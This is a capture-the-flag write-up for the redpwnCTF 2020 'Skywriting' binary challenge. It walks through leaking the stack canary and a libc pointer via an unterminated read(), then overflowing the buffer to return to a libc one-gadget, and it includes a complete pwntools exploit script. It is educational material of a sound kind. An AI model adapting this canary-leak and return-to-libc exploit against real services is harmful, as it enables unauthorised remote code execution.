redpwnCTF 2020 / Published
Skywriting
A read without a NUL terminator leaks stack values; a later overflow restores the canary and selects a libc one-gadget return target.
Contents 4
Files 1
- Target
- amd64, glibc 2.27
- RELRO
- Full
- Canary
- Found
- NX
- Enabled
- PIE
- Enabled
It’s pretty intuitive once you disambiguate some homoglyphs, I don’t get why nobody solved it.
nc 2020.redpwnc.tf 31034
Binary protections and shell behavior
Let’s start off by running checksec on the binary.
vagrant@ctf:/vagrant/challenges/redpwn20/skywriting/bin$ checksec skywriting
[*] '/vagrant/challenges/redpwn20/skywriting/bin/skywriting'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabledOkay, looks like we’re dealing with a x64 binary with most security features enabled. Let’s run it to see what it does.
vagrant@ctf:/vagrant/challenges/redpwn20/skywriting/bin$ ./skywriting
Hello there, do you want to write on the sky?
a
:(, take this shell instead
sh: 1: /bin/zsh: not foundThe hell? Are they just outright giving us a shell?
vagrant@ctf:/vagrant/challenges/redpwn20/skywriting/bin$ nc 2020.redpwnc.tf 31034
Hello there, do you want to write on the sky?
a
:(, take this shell insteadAnalyzing the input loop
What a troll, they don’t even have zsh installed on their server. Oh well, was worth a shot though. Let’s start off with some static analysis.
undefined8 FUN_00100995(void)
{
int iVar1;
undefined8 uVar2;
long in_FS_OFFSET;
int local_9c;
char local_98 [136];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
_DAT_00302060 = "use the right statistical randomness tests";
_DAT_00302068 = "disambiguate some homoglyphs";
_DAT_00302070 = "recognize the poem";
_DAT_00302078 = "interpret them as Google Drive IDs";
_DAT_00302080 = "recognize the logical clues";
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("Hello there, do you want to write on the sky? ");
__isoc99_scanf(&DAT_00100cc7,&local_9c);
if (local_9c == 1) {
puts("Yay!");
printf("Is the answer intuitive yet? Give it your best shot: ");
read(0,local_98,0x200);
while( true ) {
iVar1 = strcmp("notflag{a_cloud_is_just_someone_elses_computer}\n",local_98);
if (iVar1 == 0) break;
printf("%s??\n",local_98);
uVar2 = FUN_0010093a();
printf("I can\'t believe you haven\'t gotten it yet. You just need to %s and its trivial\n",
uVar2);
printf("Try again, give it another shot: ");
read(0,local_98,0x200);
}
puts("Good job! You did it!");
}
else {
puts(":(, take this shell instead");
system("/bin/zsh");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}Interesting. The program asks us if we want to write on the sky and if we respond with 1, it’ll keep repeating our input back to us until strcmp matches notflag{a_cloud_is_just_someone_elses_computer}\n. The final payload adds a NUL after that newline to terminate the compared string. If we look closely we’d notice two fatal flaws in this program, involving the read() function:
- It’s letting us key in way more input (0x200 bytes) than the destination buffer can store.
read()doesn’t append a null byte at the end of the input.
The first flaw allows a buffer overflow. The second lets printf("%s", ...) print beyond the input until it encounters a NUL. A newline is not a NUL, and read() adds no terminator. Early NUL bytes can truncate either leak. The guard comparison occurs only after the loop ends, so the leak inputs can temporarily damage the saved canary. The final input must restore it before matching the accepted string and returning. Its embedded NUL ends strcmp’s string view but does not stop read() from storing the remaining payload bytes.
Locating the canary and libc leak
Since this binary has both PIE and a stack canary, we would need to leak an address with a known offset (to allow us to caculate other function addresses) and the canary value. Let’s open the binary in gdb and see what we’ve got on the stack that we can work with.
pwndbg> bt
#0 0x00007ffff7af4081 in __GI___libc_read (fd=0, buf=0x7fffffffdae0, nbytes=512) at ../sysdeps/unix/sysv/linux/read.c:27
#1 0x0000555555554b0c in ?? ()
#2 0x00007ffff7a05b97 in __libc_start_main (main=0x555555554995, argc=1, argv=0x7fffffffdc58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdc48) at ../csu/libc-start.c:310
#3 0x000055555555485a in ?? ()
pwndbg> stack 25
00:0000│ rsp 0x7fffffffdac8 —▸ 0x555555554b0c ◂— lea rax, [rbp - 0x90]
01:0008│ 0x7fffffffdad0 ◂— 0xffffffff
02:0010│ 0x7fffffffdad8 ◂— 0x100000000
03:0018│ rsi 0x7fffffffdae0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
... ↓
07:0038│ 0x7fffffffdb00 ◂— 0xa4141414141 /* 'AAAAA\n' */
08:0040│ 0x7fffffffdb08 ◂— 0x756e6547 /* 'Genu' */
09:0048│ 0x7fffffffdb10 ◂— 9 /* '\t' */
0a:0050│ 0x7fffffffdb18 —▸ 0x7ffff7dd7660 (dl_main) ◂— push rbp
0b:0058│ 0x7fffffffdb20 —▸ 0x7fffffffdb88 —▸ 0x7fffffffdc58 —▸ 0x7fffffffdfb7 ◂— '/vagrant/challenges/redpwn20/skywriting/bin/skywriting'
0c:0060│ 0x7fffffffdb28 ◂— 0xf0b5ff
0d:0068│ 0x7fffffffdb30 ◂— 0x1
0e:0070│ 0x7fffffffdb38 —▸ 0x555555554bbd ◂— add rbx, 1
0f:0078│ 0x7fffffffdb40 —▸ 0x7ffff7de59a0 (_dl_fini) ◂— push rbp
10:0080│ 0x7fffffffdb48 ◂— 0x0
11:0088│ 0x7fffffffdb50 —▸ 0x555555554b70 ◂— push r15
12:0090│ 0x7fffffffdb58 —▸ 0x555555554830 ◂— xor ebp, ebp
13:0098│ 0x7fffffffdb60 —▸ 0x7fffffffdc50 ◂— 0x1
14:00a0│ 0x7fffffffdb68 ◂— 0xf7cf81bc93909400
15:00a8│ rbp 0x7fffffffdb70 —▸ 0x555555554b70 ◂— push r15
16:00b0│ 0x7fffffffdb78 —▸ 0x7ffff7a05b97 (__libc_start_main+231) ◂— mov edi, eax
17:00b8│ 0x7fffffffdb80 ◂— 0x1
18:00c0│ 0x7fffffffdb88 —▸ 0x7fffffffdc58 —▸ 0x7fffffffdfb7 ◂— '/vagrant/challenges/redpwn20/skywriting/bin/skywriting'
pwndbg> canary
AT_RANDOM = 0x7fffffffdf99 # points to (not masked) global canary value
Canary = 0xf7cf81bc93909400
Found valid canaries on the stacks:
00:0000│ 0x7fffffffd438 ◂— 0xf7cf81bc93909400
00:0000│ 0x7fffffffd9a8 ◂— 0xf7cf81bc93909400
00:0000│ 0x7fffffffda08 ◂— 0xf7cf81bc93909400
00:0000│ 0x7fffffffdb68 ◂— 0xf7cf81bc93909400Building the one-gadget exploit
Okay nice, the saved return address points to __libc_start_main + 231. Subtracting offset(__libc_start_main) + 231 from that leak gives the libc base. The script returns to the one-gadget at base + 0x4f322, which also needs [rsp+0x40] == NULL on entry; the payload does not set that word. So here’s the game plan:
- Leak stack canary
<136 filler bytes><newline at offset 136>replaces the low00with0a. Reconstruct the guard as00followed by seven leaked bytes.
- Leak
__libc_start_main + 231<151 filler bytes><newline at offset 151>stops before the saved return address at 152. Reconstruct the pointer from six leaked bytes followed by two zero bytes.
- Restore the guard and leave the loop
<notflag{a_cloud_is_just_someone_elses_computer}\n\x00><padding to 136><complete canary><8 bytes of saved-RBP filler><one_gadget at 152>
Each input reuses the same buffer. The first two expose stack values; the last restores the guard before leaving the loop.
Now let’s write a script to solve it.
#! /usr/bin/python3
from pwn import *
HOST = '2020.redpwnc.tf'
PORT = 31034
BINARY = './skywriting'
elf = context.binary = ELF(BINARY)
libc = ELF('./libc.so.6') # glibc-2.27 (Ubuntu 18.04 default libc, based on provided Dockerfile)
libc.symbols['one_gadget'] = 0x4f322
'''
We pad until we are exactly just before the canary so that the null byte in the least significant byte
of the canary would be overwritten with a newline character. The script assumes printf then exposes
the seven remaining bytes; an earlier null byte can truncate the leak.
'''
CANARY_PADDING = 136
'''
We pad until we are one byte before __libc_start_main + 231 so that the newline won't overwrite any of
it's bytes.
'''
LIBC_START_MAIN_231_PADDING = CANARY_PADDING + 15
RIP_PADDING = CANARY_PADDING + 8 + 8
TRIGGER_RET = 'notflag{a_cloud_is_just_someone_elses_computer}\n\x00'
splash()
r = remote(HOST, PORT)
with log.progress('Stage 1: Leak canary'):
r.recvuntil('Hello there, do you want to write on the sky? \n')
r.sendline('1')
r.recvuntil('Is the answer intuitive yet? Give it your best shot: ')
PAYLOAD = flat(length = CANARY_PADDING)
r.sendline(PAYLOAD)
r.recvline()
canary = u64(b'\x00' + r.recvn(7)) # Fix width for canary
r.success(f'Leaked canary: {hex(canary)}')
with log.progress('Stage 2: Leak (__libc_start_main + 231)'):
r.recvuntil('Try again, give it another shot: ')
PAYLOAD = flat(length = LIBC_START_MAIN_231_PADDING)
r.sendline(PAYLOAD)
r.recvline()
libc_start_main_231 = u64(r.recvn(6) + b'\x00\x00') # Fix width for __libc_start_main + 231
r.success(f'Leaked (__libc_start_main + 231): {hex(libc_start_main_231)}')
libc.address = libc_start_main_231 - (libc.symbols['__libc_start_main'] + 231)
r.success(f'Calculated libc base: {hex(libc.address)}')
with log.progress('Stage 3: Pwn'):
rop = ROP([elf, libc])
rop.one_gadget()
r.recvuntil('Try again, give it another shot: ')
r.sendline(flat({ 0: TRIGGER_RET, CANARY_PADDING: p64(canary), RIP_PADDING: rop.chain() }))
r.interactive()
r.close()Result
Flag: flag{a_cLOud_iS_jUSt_sOmeBodY_eLSes_cOMpUteR}